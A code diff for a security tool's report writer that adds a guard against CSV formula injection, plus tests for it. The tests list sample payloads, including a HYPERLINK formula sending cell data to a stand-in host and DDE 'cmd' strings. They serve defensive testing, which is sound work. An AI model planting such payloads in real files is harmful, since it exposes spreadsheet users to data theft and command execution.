diff --git a/strix/report/writer.py b/strix/report/writer.py index 7ca28e29..b5f65b45 100644 --- a/strix/report/writer.py +++ b/strix/report/writer.py @@ -26,10 +26,31 @@ logger = logging.getLogger(__name__) _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} +_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r") + _FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL) _BACKTICK_RUN = re.compile(r"`+") +def csv_safe(value: object) -> str: + """Return ``value`` as a CSV cell a spreadsheet will not treat as a formula. + + Excel, LibreOffice and Sheets evaluate a cell whose first character is one of + ``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax + but has no notion of formula triggers, so such a value reaches the cell intact + and is executed on open (CWE-1236). Vulnerability titles quote text from the + scanned target, which is exactly the attacker-influenced input this guards + against. + + Prefixing with an apostrophe is the standard mitigation: spreadsheets treat + the rest of the cell as literal text and hide the apostrophe on display. + """ + text = str(value) + if text.startswith(_CSV_FORMULA_PREFIXES): + return "'" + text + return text + + def safe_fence(content: str) -> str: """Return a backtick fence that ``content`` cannot break out of. @@ -151,11 +172,11 @@ def write_vulnerabilities( for report in sorted_reports: csv_writer.writerow( { - "id": report["id"], - "title": report["title"], - "severity": report["severity"].upper(), - "timestamp": report["timestamp"], - "file": f"vulnerabilities/{report['id']}.md", + "id": csv_safe(report["id"]), + "title": csv_safe(report["title"]), + "severity": csv_safe(report["severity"].upper()), + "timestamp": csv_safe(report["timestamp"]), + "file": csv_safe(f"vulnerabilities/{report['id']}.md"), }, ) atomic_write_text(csv_path, csv_buf.getvalue()) diff --git a/tests/test_report_writer.py b/tests/test_report_writer.py index f6f0dbcc..25ad3de6 100644 --- a/tests/test_report_writer.py +++ b/tests/test_report_writer.py @@ -163,6 +163,53 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> assert csv_rows[0]["severity"] == "CRITICAL" +@pytest.mark.parametrize( + "payload", + [ + '=HYPERLINK("http://evil.example/leak?d="&A1,"View")', + "+cmd|'/c calc'!A1", + "@SUM(1+1)*cmd|'/c calc'!A1", + "-2+3+cmd|'/c calc'!A1", + "\t leading tab", + "\r leading carriage return", + ], +) +def test_write_vulnerabilities_csv_neutralizes_formula_injection( + tmp_path: Path, + payload: str, +) -> None: + # Titles quote text from the scanned target, so a finding title can begin with + # a spreadsheet formula trigger. csv escapes CSV syntax but not formula + # triggers, so the cell has to be neutralized before it is written. + write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + title = csv_rows[0]["title"] + assert title.startswith("'") + assert not title.startswith(("=", "+", "-", "@", "\t", "\r")) + + +def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None: + payload = "=1+1" + write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact + + +def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None: + write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set()) + + csv_rows = list( + csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()), + ) + assert csv_rows[0]["title"] == "SQL Injection in /login" + + def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None: reports = [_sample_report(id="vuln-0001")] saved: set[str] = {"vuln-0001"}